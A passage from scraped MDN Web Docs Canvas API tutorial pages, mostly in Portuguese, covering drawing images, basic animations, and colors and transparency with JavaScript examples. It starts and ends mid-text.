script. To do this, you can use the convenient `Image()` constructor:\n\n\n```js\nvar img = new Image(); // Create new img element\nimg.src = \"myImage.png\"; // Set source path\n```\n\n\nWhen this script gets executed, the image starts loading.\n\nIf you try to call `drawImage()` before the image has finished loading, it won't do anything (or, in older browsers, may even throw an exception). So you need to be sure to use the load event so you don't try this before the image has loaded:\n\n\n```js\nvar img = new Image(); // Create new img element\nimg.addEventListener(\n  \"load\",\n  function () {\n    // execute drawImage statements here\n  },\n  false,\n);\nimg.src = \"myImage.png\"; // Set source path\n```\n\n\nIf you're only using one external image this can be a good approach, but once you need to track more than one we need to resort to something more clever. It's beyond the scope of this tutorial to look at image pre-loading tactics, but you should keep that in mind.\n\n### Embedding an image via data: URL\n\nAnother possible way to include images is via the data: url (en-US). Data URLs allow you to completely define an image as a Base64 encoded string of characters directly in your code.\n\n\n```js\nvar img = new Image(); // Create new img element\nimg.src =\n  \"data:image/gif;base64,R0lGODlhCwALAIAAAAAA3pn/ZiH5BAEAAAEALAAAAAALAAsAAAIUhA+hkcuO4lmNVindo7qyrIXiGBYAOw==\";\n```\n\n\nOne advantage of data URLs is that the resulting image is available immediately without another round trip to the server. Another potential advantage is that it is also possible to encapsulate in one file all of your CSS, JavaScript, HTML, and images, making it more portable to other locations.\n\nSome disadvantages of this method are that your image is not cached, and for larger images the encoded url can become quite long.\n\n### Using frames from a video\n\nYou can also use frames from a video being presented by a `<video>` element (even if the video is not visible). For example, if you have a `<video>` element with the ID \"myvideo\", you can do this:\n\n\n```js\nfunction getMyVideo() {\n  var canvas = document.getElementById(\"canvas\");\n  if (canvas.getContext) {\n    var ctx = canvas.getContext(\"2d\");\n\n    return document.getElementById(\"myvideo\");\n  }\n}\n```\n\n\nThis returns the `HTMLVideoElement` (en-US) object for the video, which, as covered earlier, is one of the objects that can be used as a `CanvasImageSource`.\n\nDrawing images\n--------------\n\nOnce we have a reference to our source image object we can use the `drawImage()` method to render it to the canvas. As we will see later the `drawImage()` method is overloaded and has several variants. In its most basic form it looks like this:\n\n`drawImage(image, x, y)` (en-US)\n\nDraws the `CanvasImageSource` specified by the `image` parameter at the coordinates (`x`, `y`).\n\n\n**Nota:** SVG images must specify a width and height in the root <svg> element.\n\n### Example: A simple line graph\n\nIn the following example, we will use an external image as the backdrop for a small line graph. Using backdrops can make your script considerably smaller because we can avoid the need for code to generate the background. In this example, we're only using one image, so I use the image object's `load` event handler to execute the drawing statements. The `drawImage()` method places the backdrop at the coordinate (0, 0), which is the top-left corner of the canvas.\n```\n\n<html>\n  <body onload=\"draw();\">\n    <canvas id=\"canvas\" width=\"180\" height=\"150\"></canvas>\n  </body>\n</html>\n```\n\n\n\n```js\nfunction draw() {\n  var ctx = document.getElementById(\"canvas\").getContext(\"2d\");\n  var img = new Image();\n  img.onload = function () {\n    ctx.drawImage(img, 0, 0);\n    ctx.beginPath();\n    ctx.moveTo(30, 96);\n    ctx.lineTo(70, 66);\n    ctx.lineTo(103, 76);\n    ctx.lineTo(170, 15);\n    ctx.stroke();\n  };\n  img.src = \"backdrop.png\";\n}\n```\n\n\nThe resulting graph looks like this:\n\n| Screenshot | Live sample |\n| --- | --- |\n|  |  |\n\nScaling\n-------\n\nThe second variant of the `drawImage()` method adds two new parameters and lets us place scaled images on the canvas.\n\n`drawImage(image, x, y, width, height)` (en-US)\n\nThis adds the `width` and `height` parameters, which indicate the size to which to scale the image when drawing it onto the canvas.\n\n### Example: Tiling an image\n\nIn this example, we'll use an image as a wallpaper and repeat it several times on the canvas. This is done simply by looping and placing the scaled images at different positions. In the code below, the first `for` loop iterates over the rows. The second `for` loop iterates over the columns. The image is scaled to one third of its original size, which is 50x38 pixels.\n\n**Nota:** Images can become blurry when scaling up or grainy if they're scaled down too much. Scaling is probably best not done if you've got some text in it which needs to remain legible.\n```\n\n<html>\n  <body onload=\"draw();\">\n    <canvas id=\"canvas\" width=\"150\" height=\"150\"></canvas>\n  </body>\n</html>\n```\n\n\n\n```js\nfunction draw() {\n  var ctx = document.getElementById(\"canvas\").getContext(\"2d\");\n  var img = new Image();\n  img.onload = function () {\n    for (var i = 0; i < 4; i++) {\n      for (var j = 0; j < 3; j++) {\n        ctx.drawImage(img, j \\* 50, i \\* 38, 50, 38);\n      }\n    }\n  };\n  img.src = \"rhino.jpg\";\n}\n```\n\n\nThe resulting canvas looks like this:\n\n| Screenshot | Live sample |\n| --- | --- |\n|  |  |\n\nSlicing\n-------\n\nThe third and last variant of the `drawImage()` method has eight parameters in addition to the image source. It lets us cut out a section of the source image, then scale and draw it on our canvas.\n\n`drawImage(image, sx, sy, sWidth, sHeight, dx, dy, dWidth, dHeight)` (en-US)\n\nGiven an `image`, this function takes the area of the source image specified by the rectangle whose top-left corner is (`sx`, `sy`) and whose width and height are `sWidth` and `sHeight` and draws it into the canvas, placing it on the canvas at (`dx`, `dy`) and scaling it to the size specified by `dWidth` and `dHeight`.\n\n\n![](/pt-BR/docs/Web/API/Canvas_API/Tutorial/Using_images/canvas_drawimage.jpg)To really understand what this does, it may help to look at the image to the right. The first four parameters define the location and size of the slice on the source image. The last four parameters define the rectangle into which to draw the image on the destination canvas.\n\nSlicing can be a useful tool when you want to make compositions. You could have all elements in a single image file and use this method to composite a complete drawing. For instance, if you want to make a chart you could have a PNG image containing all the necessary text in a single file and depending on your data could change the scale of your chart fairly easily. Another advantage is that you don't need to load every image individually, which can improve load performance.\n\n### Example: Framing an image\n\nIn this example, we'll use the same rhino as in the previous example, but we'll slice out its head and composite it into a picture frame. The picture frame image is a 24-bit PNG which includes a drop shadow. Because 24-bit PNG images include a full 8-bit alpha channel, unlike GIF and 8-bit PNG images, it can be placed onto any background without worrying about a matte color.\n\n\n```html\n<html>\n  <body onload=\"draw();\">\n    <canvas id=\"canvas\" width=\"150\" height=\"150\"></canvas>\n    <div style=\"display:none;\">\n      <img id=\"source\" src=\"rhino.jpg\" width=\"300\" height=\"227\" />\n      <img id=\"frame\" src=\"canvas\\_picture\\_frame.png\" width=\"132\" height=\"150\" />\n    </div>\n  </body>\n</html>\n```\n\n\n\n```js\nfunction draw() {\n  var canvas = document.getElementById(\"canvas\");\n  var ctx = canvas.getContext(\"2d\");\n\n  // Draw slice\n  ctx.drawImage(\n    document.getElementById(\"source\"),\n    33,\n    71,\n    104,\n    124,\n    21,\n    20,\n    87,\n    104,\n  );\n\n  // Draw frame\n  ctx.drawImage(document.getElementById(\"frame\"), 0, 0);\n}\n```\n\n\nWe took a different approach to loading the images this time. Instead of loading them by creating new `HTMLImageElement` (en-US) objects, we included them as `<img>` tags directly in our HTML source and retrieved the images from those. The images are hidden from output by setting the CSS property `display` to none for those images.\n\n| Screenshot | Live sample |\n| --- | --- |\n|  |  |\n\nThe script itself is very simple. Each `<img>` is assigned an ID attribute, which makes them easy to select using `document.getElementById()`. We then simply use `drawImage()` to slice the rhino out of the first image and scale him onto the canvas, then draw the frame on top using a second `drawImage()` call.\n\nArt gallery example\n-------------------\n\nIn the final example of this chapter, we'll build a little art gallery. The gallery consists of a table containing several images. When the page is loaded, a `<canvas>` element is inserted for each image and a frame is drawn around it.\n\nIn this case, every image has a fixed width and height, as does the frame that's drawn around them. You could enhance the script so that it uses the image's width and height to make the frame fit perfectly around it.\n\nThe code below should be self-explanatory. We loop through the `document.images` container and add new canvas elements accordingly. Probably the only thing to note, for those not so familiar with the DOM, is the use of the `Node.insertBefore` method. `insertBefore()` is a method of the parent node (a table cell) of the element (the image) before which we want to insert our new node (the canvas element).\n\n\n```html\n<html>\n  <body onload=\"draw();\">\n    <table>\n      <tr>\n        <td><img src=\"gallery\\_1.jpg\" /></td>\n        <td><img src=\"gallery\\_2.jpg\" /></td>\n        <td><img src=\"gallery\\_3.jpg\" /></td>\n        <td><img src=\"gallery\\_4.jpg\" /></td>\n      </tr>\n      <tr>\n        <td><img src=\"gallery\\_5.jpg\" /></td>\n        <td><img src=\"gallery\\_6.jpg\" /></td>\n        <td><img src=\"gallery\\_7.jpg\" /></td>\n        <td><img src=\"gallery\\_8.jpg\" /></td>\n      </tr>\n    </table>\n    <img id=\"frame\" src=\"canvas\\_picture\\_frame.png\" width=\"132\" height=\"150\" />\n  </body>\n</html>\n```\n\n\nAnd here's some CSS to make things look nice:\n\n\n```css\nbody {\n  background: 0 -100px repeat-x url(bg\\_gallery.png) #4f191a;\n  margin: 10px;\n}\n\nimg {\n  display: none;\n}\n\ntable {\n  margin: 0 auto;\n}\n\ntd {\n  padding: 15px;\n}\n```\n\n\nTying it all together is the JavaScript to draw our framed images:\n\n\n```js\nfunction draw() {\n  // Loop through all images\n  for (var i = 0; i < document.images.length; i++) {\n    // Don't add a canvas for the frame image\n    if (document.images[i].getAttribute(\"id\") != \"frame\") {\n      // Create canvas element\n      canvas = document.createElement(\"canvas\");\n      canvas.setAttribute(\"width\", 132);\n      canvas.setAttribute(\"height\", 150);\n\n      // Insert before the image\n      document.images[i].parentNode.insertBefore(canvas, document.images[i]);\n\n      ctx = canvas.getContext(\"2d\");\n\n      // Draw image to canvas\n      ctx.drawImage(document.images[i], 15, 20);\n\n      // Add frame\n      ctx.drawImage(document.getElementById(\"frame\"), 0, 0);\n    }\n  }\n}\n```\n\nControlling image scaling behavior\n----------------------------------\n\nAs mentioned previously, scaling images can result in fuzzy or blocky artifacts due to the scaling process. You can use the drawing context's `imageSmoothingEnabled` (en-US) property to control the use of image smoothing algorithms when scaling images within your context. By default, this is `true`, meaning images will be smoothed when scaled. You can disable this feature like this:\n\n\n```js\nctx.mozImageSmoothingEnabled = false;\nctx.webkitImageSmoothingEnabled = false;\nctx.msImageSmoothingEnabled = false;\nctx.imageSmoothingEnabled = false;\n```\n\n* « Previous\n* Next » (en-US)"}
{"title":"Basic animations - APIs da Web","text":"Basic animations\n================\n\nJá que estamos usando JavaScript para controlar `<canvas>` elementos, também é muito fácil criar animações interativas. Fazer animações mais complexas pode levar um tempo extra; esperamos introduzir um novo artigo para auxiliar sobre isso em breve.\n\nProvavelmente a maior limitação é que uma vez que uma forma é desenhada, ela permanece assim. Se precisarmos mover, temos que redesenhar-lá e tudo que foi desenhado antes. Demora muito tempo pra redesenhar frames complexos e a desempenho depende altamente da velocidade do computador em que está rodando.\n\nPassos para animação básica\n---------------------------\n\nEstes são os passos que você precisa para desenhar um frame:\n\n1. **Limpe o canvas**\n A menos que a forma que você vai desenhar preencha o canvas completo(por exemplo, uma imagem de fundo), você precisa limpar todas as formas que foram desenhadas anteriormente. O caminho mais fácil para fazer isso é usando o método clearRect().\n2. **Salve o estado da tela**\n Se você estiver mudando alguma configuração(como estilos, transformações, etc.) que afete o estado do canvas e você quer garantir que o estado original seja usado sempre que um quadro é desenhado, você precisa salvar esse estado original.\n3. **Desenhe formas animadas**\n A etapa em que você faz a renderização real do quadro.\n4. **Restaure o estado do canvas**\n Se você salvou o estado, restaure-o antes de desenhar um novo quadro.\nControlando uma animação\n------------------------\n\nFormas são desenhos na tela usando os canvas métodos diretamente ou chamando personalizadas. Em circunstancias normais, nós somente vemos esses resultados aparecerem na tela quando o script termina de ser executado. Por exemplo, não é possível fazer uma animação dentro de um loop for.\n\nIsso significa que precisamos de um jeito para executar nossas funções de desenho durante um período de tempo. Existem dois jeitos para controlar uma animação como essa.\n\n### Atualizações agendadas\n\nPrimeiramente há as funções `window.setInterval()` (en-US) e `window.setTimeout()` (en-US), que podem ser usadas para chamar uma função específica durante um certo período definido de tempo.\n\n**Nota:** Nota: O método `window.requestAnimationFrame()` agora é a maneira recomendada de programar animações. Vamos atualizar esse tutorial para abortar isso em breve.\n\n`setInterval(função,atraso)`\n\nInicia repetidamente executando a função específica pela função a cada milissegundo de atraso.\n\n`setTimeout(função,atraso)`\n\nExecuta a função especificada pela função em milissegundos de atraso.\n\nSe você não quer nenhuma interação do usuário, é melhor usar a função setInterval() que executa repeditamente o código fornecido.\n\n### Atualizar na interação do usuário\n\nO segundo método que nós podemos usar para controlar uma animação é a entrada do usuário. Se nós quiséssimos criar um jogo, nós poderiamos usar os eventos do teclado ou mouse para controlar a animação. Ao definir `EventListener`s, nós pegamos qualquer interação do usuário e executamos nossas funções da animação.\n\nSe você quer a interação do usuário, você pode usar uma versão menor ou a versão principal do nosso framework pra animação:\n```\n\nvar myAnimation = new MiniDaemon(null, animateShape, 500, Infinity);\n```\n\n\nou\n```\n\nvar myAnimation = new Daemon(null, animateShape, 500, Infinity);\n```\n\n\nNos exemplos abaixo, no entanto, usamos o método `window.setInterval()` (en-US) para controlar a animação. Na parte inferior dessa página há alguns links de exemplos que usam `window.setTimeout()` (en-US).\n\n#### Um sistema solar animado\n\nEsse exemplo anima um pequeno modelo do nosso sistema solar.\n\n\n```js\nvar sun = new Image();\nvar moon = new Image();\nvar earth = new Image();\nfunction init() {\n  sun.src = \"canvas\\_sun.png\";\n  moon.src = \"canvas\\_moon.png\";\n  earth.src = \"canvas\\_earth.png\";\n  setInterval(draw, 100);\n}\n\nfunction draw() {\n  var ctx = document.getElementById(\"canvas\").getContext(\"2d\");\n\n  ctx.globalCompositeOperation = \"destination-over\";\n  ctx.clearRect(0, 0, 300, 300); // clear canvas\n\n  ctx.fillStyle = \"rgba(0,0,0,0.4)\";\n  ctx.strokeStyle = \"rgba(0,153,255,0.4)\";\n  ctx.save();\n  ctx.translate(150, 150);\n\n  // Earth\n  var time = new Date();\n  ctx.rotate(\n    ((2 \\* Math.PI) / 60) \\* time.getSeconds() +\n      ((2 \\* Math.PI) / 60000) \\* time.getMilliseconds(),\n  );\n  ctx.translate(105, 0);\n  ctx.fillRect(0, -12, 50, 24); // Shadow\n  ctx.drawImage(earth, -12, -12);\n\n  // Moon\n  ctx.save();\n  ctx.rotate(\n    ((2 \\* Math.PI) / 6) \\* time.getSeconds() +\n      ((2 \\* Math.PI) / 6000) \\* time.getMilliseconds(),\n  );\n  ctx.translate(0, 28.5);\n  ctx.drawImage(moon, -3.5, -3.5);\n  ctx.restore();\n\n  ctx.restore();\n\n  ctx.beginPath();\n  ctx.arc(150, 150, 105, 0, Math.PI \\* 2, false); // Earth orbit\n  ctx.stroke();\n\n  ctx.drawImage(sun, 0, 0, 300, 300);\n}\n```\n\n\n```\n<canvas id=\"canvas\" width=\"300\" height=\"300\"></canvas>\n```\n\n\n```\ninit();\n```\n\n\n| Screenshot | Live sample |\n| --- | --- |\n|  |  |\n\n#### Um relógio animado\n\nEsse exemplos desenha um relógio animado, mostrando sua hora atual.\n\n\n```js\nfunction init() {\n  clock();\n  setInterval(clock, 1000);\n}\n\nfunction clock() {\n  var now = new Date();\n  var ctx = document.getElementById(\"canvas\").getContext(\"2d\");\n  ctx.save();\n  ctx.clearRect(0, 0, 150, 150);\n  ctx.translate(75, 75);\n  ctx.scale(0.4, 0.4);\n  ctx.rotate(-Math.PI / 2);\n  ctx.strokeStyle = \"black\";\n  ctx.fillStyle = \"white\";\n  ctx.lineWidth = 8;\n  ctx.lineCap = \"round\";\n\n  // Hour marks\n  ctx.save();\n  for (var i = 0; i < 12; i++) {\n    ctx.beginPath();\n    ctx.rotate(Math.PI / 6);\n    ctx.moveTo(100, 0);\n    ctx.lineTo(120, 0);\n    ctx.stroke();\n  }\n  ctx.restore();\n\n  // Minute marks\n  ctx.save();\n  ctx.lineWidth = 5;\n  for (i = 0; i < 60; i++) {\n    if (i % 5 != 0) {\n      ctx.beginPath();\n      ctx.moveTo(117, 0);\n      ctx.lineTo(120, 0);\n      ctx.stroke();\n    }\n    ctx.rotate(Math.PI / 30);\n  }\n  ctx.restore();\n\n  var sec = now.getSeconds();\n  var min = now.getMinutes();\n  var hr = now.getHours();\n  hr = hr >= 12 ? hr - 12 : hr;\n\n  ctx.fillStyle = \"black\";\n\n  // write Hours\n  ctx.save();\n  ctx.rotate(\n    hr \\* (Math.PI / 6) + (Math.PI / 360) \\* min + (Math.PI / 21600) \\* sec,\n  );\n  ctx.lineWidth = 14;\n  ctx.beginPath();\n  ctx.moveTo(-20, 0);\n  ctx.lineTo(80, 0);\n  ctx.stroke();\n  ctx.restore();\n\n  // write Minutes\n  ctx.save();\n  ctx.rotate((Math.PI / 30) \\* min + (Math.PI / 1800) \\* sec);\n  ctx.lineWidth = 10;\n  ctx.beginPath();\n  ctx.moveTo(-28, 0);\n  ctx.lineTo(112, 0);\n  ctx.stroke();\n  ctx.restore();\n\n  // Write seconds\n  ctx.save();\n  ctx.rotate((sec \\* Math.PI) / 30);\n  ctx.strokeStyle = \"#D40000\";\n  ctx.fillStyle = \"#D40000\";\n  ctx.lineWidth = 6;\n  ctx.beginPath();\n  ctx.moveTo(-30, 0);\n  ctx.lineTo(83, 0);\n  ctx.stroke();\n  ctx.beginPath();\n  ctx.arc(0, 0, 10, 0, Math.PI \\* 2, true);\n  ctx.fill();\n  ctx.beginPath();\n  ctx.arc(95, 0, 10, 0, Math.PI \\* 2, true);\n  ctx.stroke();\n  ctx.fillStyle = \"rgba(0,0,0,0)\";\n  ctx.arc(0, 0, 3, 0, Math.PI \\* 2, true);\n  ctx.fill();\n  ctx.restore();\n\n  ctx.beginPath();\n  ctx.lineWidth = 14;\n  ctx.strokeStyle = \"#325FA2\";\n  ctx.arc(0, 0, 142, 0, Math.PI \\* 2, true);\n  ctx.stroke();\n\n  ctx.restore();\n}\n```\n\n\n```\n<canvas id=\"canvas\" width=\"150\" height=\"150\"></canvas>\n```\n\n\n```\ninit();\n```\n\n\n| Screenshot | Live sample |\n| --- | --- |\n|  |  |\n\n#### Um panorama em loop\n\nNesse exemplos, um panorama é rolado da esquerda pra direita. Nós estamos usando uma imagem do Parque Nacional de Yosemite que tiramos da Wikipedia, mas você pode usar qualquer imagem que fosse maior que a tela.\n\n\n```js\nvar img = new Image();\n\n// User Variables - customize these to change the image being scrolled, its\n// direction, and the speed.\n\nimg.src = \"capitan\\_meadows,\\_yosemite\\_national\\_park.jpg\";\nvar CanvasXSize = 800;\nvar CanvasYSize = 200;\nvar speed = 30; //lower is faster\nvar scale = 1.05;\nvar y = -4.5; //vertical offset\n\n// Main program\n\nvar dx = 0.75;\nvar imgW;\nvar imgH;\nvar x = 0;\nvar clearX;\nvar clearY;\nvar ctx;\n\nimg.onload = function () {\n  imgW = img.width \\* scale;\n  imgH = img.height \\* scale;\n  if (imgW > CanvasXSize) {\n    x = CanvasXSize - imgW;\n  } // image larger than canvas\n  if (imgW > CanvasXSize) {\n    clearX = imgW;\n  } // image larger than canvas\n  else {\n    clearX = CanvasXSize;\n  }\n  if (imgH > CanvasYSize) {\n    clearY = imgH;\n  } // image larger than canvas\n  else {\n    clearY = CanvasYSize;\n  }\n  //Get Canvas Element\n  ctx = document.getElementById(\"canvas\").getContext(\"2d\");\n  //Set Refresh Rate\n  return setInterval(draw, speed);\n};\n\nfunction draw() {\n  //Clear Canvas\n  ctx.clearRect(0, 0, clearX, clearY);\n  //If image is <= Canvas Size\n  if (imgW <= CanvasXSize) {\n    //reset, start from beginning\n    if (x > CanvasXSize) {\n      x = 0;\n    }\n    //draw aditional image\n    if (x > CanvasXSize - imgW) {\n      ctx.drawImage(img, x - CanvasXSize + 1, y, imgW, imgH);\n    }\n  }\n  //If image is > Canvas Size\n  else {\n    //reset, start from beginning\n    if (x > CanvasXSize) {\n      x = CanvasXSize - imgW;\n    }\n    //draw aditional image\n    if (x > CanvasXSize - imgW) {\n      ctx.drawImage(img, x - imgW + 1, y, imgW, imgH);\n    }\n  }\n  //draw image\n  ctx.drawImage(img, x, y, imgW, imgH);\n  //amount to move\n  x += dx;\n}\n```\n\n\nAbaixo é o `<canvas>` em que a imagem é rolada. Note que a largura e a altura especificadas aqui devem corresponder aos valores das variáveis CanvasXZSize e CanvasYSize no código JavaScript.\n\n\n```html\n<canvas id=\"canvas\" width=\"800\" height=\"200\"></canvas>\n```\n\n\n##### Live sample\n\nOutros exemplos\n---------------\n\nGartic\n\nJogo de desenho para multiplayers.\n\nCanvascape\n\nUm jogo de aventura 3D (tiro em primeira pessoa).\n\nA basic ray-caster\n\nUm bom exemplo de como fazer animações usando os controles do teclado.\n\ncanvas adventure\n\nOutro bom exemplo que usa controles de teclado.\n\nAn interactive Blob\n\nDivirta-se com Blob.\n\nFlying through a starfield\n\nVoe através de estrelas, círculos ou quadrados.\n\niGrapher\n\nUm exemplo que ilustra os dados do mercado de ações.\n\nVeja também\n-----------\n\n* JavaScript timers\n* `setInterval` – A little framework (en-US)\n* JavaScript Daemons Management\n* HTMLCanvasElement (en-US)\n* « Previous\n* Next » (en-US)"}
{"title":"Aplicando estilos e cores - APIs da Web","text":"Aplicando estilos e cores\n=========================\n\n* « Previous\n* Next »\n\nNo capítulo sobre desenhando formas com canvas, usamos apenas os estilos padrões de preenchimento e linha. Aqui vamos explorar as opções do canvas que temos à nossa disposição para tornar nossos desenhos um pouco mais atraentes. Você aprenderá a adicionar cores diferentes, estilos de linhas, gradientes, padrões e sombras aos seus desenhos.\n\nCores\n-----\n\nAté agora só vimos métodos do contexto de desenho. Se quisermos aplicar cores a uma forma, existem duas propriedades importantes que podemos utilizar: `fillStyle` e `strokeStyle`.\n\n`fillStyle = color`\n\nDefine o estilo usado ao preencher (fill) formas.\n\n`strokeStyle = color` (en-US)\n\nDefine o estilo para os contornos (strokes) das formas.\n\n`color` é uma string que representa um CSS `<color>`, um objeto gradiente, ou um objeto padrão. Examinaremos sobre objetos de gradiente e padrão mais tarde. Por padrão, a cor do contorno (stroke color) e a cor de preenchimento (fill color) estão definidos como preto (valor de cor no CSS é `#000000`).\n\n**Nota:** Quando você definir as propriedades `strokeStyle` e/ou `fillStyle` , o novo valor será o padrão para todas as formas desenhadas a partir de então. Para toda forma que você quiser uma cor diferente, você vai precisar alterar o valor da propriedade `fillStyle` ou `strokeStyle`.\n\nAs strings validas que você pode inserir devem, de acordo com a especificação ser valores CSS `<color>`. Cada um dos exemplos a seguir, descrevem a mesma cor.\n\n\n```js\n// these all set the fillStyle to 'orange'\n\nctx.fillStyle = \"orange\";\nctx.fillStyle = \"#FFA500\";\nctx.fillStyle = \"rgb(255, 165, 0)\";\nctx.fillStyle = \"rgba(255, 165, 0, 1)\";\n```\n\n### Um `fillStyle` exemplo\n\nNeste exemplo, nós vamos mais uma vez utilizar dois `for` loops para desenhar uma grade de retângulos, cada um com uma cor diferente. A imagem do resultado, deve parecer como a captura de tela. Não existe nada de muito espetacular acontecendo aqui. Nós usamos as duas variéveis `i` and `j` para gerar uma única cor em RGB para cada quadrado, e apenas modificando os valores vermelho e verde. O canal azul possui um valor fixo. Modificando os canais, você pode gerar todos os tipos de paletas. Aumentando os passos, você pode alcançar algo que se parece com a paleta de cores dos usuários de Photoshop.\n\n\n```js\nfunction draw() {\n  var ctx = document.getElementById(\"canvas\").getContext(\"2d\");\n  for (var i = 0; i < 6; i++) {\n    for (var j = 0; j < 6; j++) {\n      ctx.fillStyle =\n        \"rgb(\" +\n        Math.floor(255 - 42.5 \\* i) +\n        \",\" +\n        Math.floor(255 - 42.5 \\* j) +\n        \",0)\";\n      ctx.fillRect(j \\* 25, i \\* 25, 25, 25);\n    }\n  }\n}\n```\n\n\n```\n<canvas id=\"canvas\" width=\"150\" height=\"150\"></canvas>\n```\n\n\n```\ndraw();\n```\n\n\nO resultado se parece com isto:\n\n| Screenshot | Live sample |\n| --- | --- |\n|  |  |\n\n### Um `strokeStyle` exemplo\n\nEste exemplo é similar com o anterior, porém utiliza a propriedade `strokeStyle` para alterar a cor de contorno das formas. Nós usamos o método `arc()` para desenhar círculos ao invés de quadrados.\n\n\n```js\nfunction draw() {\n  var ctx = document.getElementById(\"canvas\").getContext(\"2d\");\n  for (var i = 0; i < 6; i++) {\n    for (var j = 0; j < 6; j++) {\n      ctx.strokeStyle =\n        \"rgb(0,\" +\n        Math.floor(255 - 42.5 \\* i) +\n        \",\" +\n        Math.floor(255 - 42.5 \\* j) +\n        \")\";\n      ctx.beginPath();\n      ctx.arc(12.5 + j \\* 25, 12.5 + i \\* 25, 10, 0, Math.PI \\* 2, true);\n      ctx.stroke();\n    }\n  }\n}\n```\n\n\n```\n<canvas id=\"canvas\" width=\"150\" height=\"150\"></canvas>\n```\n\n\n```\ndraw();\n```\n\n\nO resultado se parece com isto:\n\n| Screenshot | Live sample |\n| --- | --- |\n|  |  |\n\nTransparência\n-------------\n\nAlém de desenhar formas opacas na tela, também podemos desenhar formas semi-transparentes (ou translúcidas). Isso é feito definindo a propriedade globalAlpha ou atribuindo uma cor semitransparente ao estilo de stroke e / ou fill style.\n\n`globalAlpha = transparencyValue` (en-US)\n\nAplica o valor de transparência especificado a todas as formas futuras desenhadas na tela. O valor deve estar entre 0,0 (totalmente transparente) e 1,0 (totalmente opaco). Este valor é 1.0 (totalmente opaco) por padrão.\n\nA propriedade globalAlpha pode ser útil se você quiser desenhar muitas formas na tela com transparência semelhante, mas, caso contrário, geralmente é mais útil definir a transparência em formas individuais ao definir suas cores.\n\nComo as propriedades strokeStyle e fillStyle aceitam os valores de cor CSS rgba, podemos usar a notação a seguir para atribuir uma cor transparente a eles.\n\n\n```js\n// Assigning transparent colors to stroke and fill style\n\nctx.strokeStyle = \"rgba(255, 0, 0, 0.5)\";\nctx.fillStyle = \"rgba(255, 0, 0, 0.5)\";\n```\n\n\nA função rgba () é semelhante à função rgb (), mas possui um parâmetro extra. O último parâmetro define o valor da transparência dessa cor específica. O intervalo válido é novamente entre 0,0 (totalmente transparente) e 1,0 (totalmente opaco).\n\n### Um exemplo globalAlpha\n\nNeste exemplo, desenharemos um plano de fundo de quatro quadrados coloridos diferentes. Além disso, desenharemos um conjunto de círculos semi-transparentes. A propriedade globalAlpha é configurada em 0.2, que será usada para todas as formas a partir desse ponto. Cada passo no loop for desenha um conjunto de círculos com um raio crescente. O resultado final é um gradiente radial. Ao sobrepor cada vez mais círculos um sobre o outro, reduzimos efetivamente a transparência dos círculos que já foram desenhados. Ao aumentar a contagem de etapas e, com efeito, desenhar mais círculos, o plano de fundo desapareceria completamente do centro da imagem.\n\n\n```js\nfunction draw() {\n  var ctx = document.getElementById(\"canvas\").getContext(\"2d\");\n  // draw background\n  ctx.fillStyle = \"#FD0\";\n  ctx.fillRect(0, 0, 75, 75);\n  ctx.fillStyle = \"#6C0\";\n  ctx.fillRect(75, 0, 75, 75);\n  ctx.fillStyle = \"#09F\";\n  ctx.fillRect(0, 75, 75, 75);\n  ctx.fillStyle = \"#F30\";\n  ctx.fillRect(75, 75, 75, 75);\n  ctx.fillStyle = \"#FFF\";\n\n  // set transparency value\n  ctx.globalAlpha = 0.2;\n\n  // Draw semi transparent circles\n  for (i = 0; i < 7; i++) {\n    ctx.beginPath();\n    ctx.arc(75, 75, 10 + 10 \\* i, 0, Math.PI \\* 2, true);\n    ctx.fill();\n  }\n}\n```\n\n\n```\n<canvas id=\"canvas\" width=\"150\" height=\"150\"></canvas>\n```\n\n\n```\ndraw();\n```\n\n\n| Screenshot | Live sample |\n| --- | --- |\n|  |  |\n\n### Um exemplo usando o `rgba()`\n\nNeste segundo exemplo, fazemos algo semelhante ao anterior, mas em vez de desenhar círculos uns sobre os outros, desenhei pequenos retângulos com crescente opacidade. O uso de rgba () oferece um pouco mais de controle e flexibilidade, pois podemos definir o estilo de preenchimento e traçado/stroke individualmente.\n\n\n```js\nfunction draw() {\n  var ctx = document.getElementById(\"canvas\").getContext(\"2d\");\n\n  // Draw background\n  ctx.fillStyle = \"rgb(255, 221, 0)\";\n  ctx.fillRect(0, 0, 150, 37.5);\n  ctx.fillStyle = \"rgb(102, 204, 0)\";\n  ctx.fillRect(0, 37.5, 150, 37.5);\n  ctx.fillStyle = \"rgb(0, 153, 255)\";\n  ctx.fillRect(0, 75, 150, 37.5);\n  ctx.fillStyle = \"rgb(255, 51, 0)\";\n  ctx.fillRect(0, 112.5, 150, 37.5);\n\n  // Draw semi transparent rectangles\n  for (var i = 0; i < 10; i++) {\n    ctx.fillStyle = \"rgba(255, 255, 255, \" + (i + 1) / 10 + \")\";\n    for (var j = 0; j < 4; j++) {\n      ctx.fillRect(5 + i \\* 14, 5 + j \\* 37.5, 14, 27.5);\n    }\n  }\n}\n```\n\n\n```\n<canvas id=\"canvas\" width=\"150\" height=\"150\"></canvas>\n```\n\n\n```\ndraw();\n```\n\n\n| Screenshot | Live sample |\n| --- | --- |\n|  |  |\n\nLine styles\n-----------\n\nExistem várias propriedades que permitem estilizar linhas.\n\n`lineWidth = value` (en-US)\n\nDefine a largura das linhas desenhadas no futuro.\n\n`lineCap = type` (en-US)\n\nDefine a aparência dos fins das linhas.\n\n`lineJoin = type` (en-US)\n\nDefine a aparência dos \"cantos\" onde as linhas se encontram.\n\n`miterLimit = value` (en-US)\n\nEstabelece um limite na mitra quando duas linhas se juntam em um ângulo agudo, para permitir controlar a espessura da junção.\n\n`getLineDash()` (en-US)\n\nRetorna a matriz de padrão de traço de linha atual que contém um número par de números não negativos\n\n`setLineDash(segments)` (en-US)\n\nDefine o padrão de traço da linha atual.\n\n`lineDashOffset = value` (en-US)\n\nEspecifica onde iniciar uma matriz de traços em uma linha.\n\nVocê entenderá melhor o que eles fazem observando os exemplos abaixo.\n\n### Um exemplo lineWidth\n\nA largura da linha é a espessura do traçado centralizado no caminho especificado. Em outras palavras, a área desenhada se estende até a metade da largura da linha em ambos os lados do caminho.\n\nComo as coordenadas da tela não fazem referência direta aos pixels, deve-se tomar cuidado especial para obter linhas horizontais e verticais nítidas.\n\nNo exemplo abaixo, 10 linhas retas são desenhadas com larguras de linhas crescentes. A linha na extrema esquerda tem 1,0 unidades de largura. No entanto, as linhas de espessura à esquerda e todas as outras linhas com número inteiro ímpar não aparecem nítidas, devido ao posicionamento do caminho.\n\n\n```js\nfunction draw() {\n  var ctx = document.getElementById(\"canvas\").getContext(\"2d\");\n  for (var i = 0; i < 10; i++) {\n    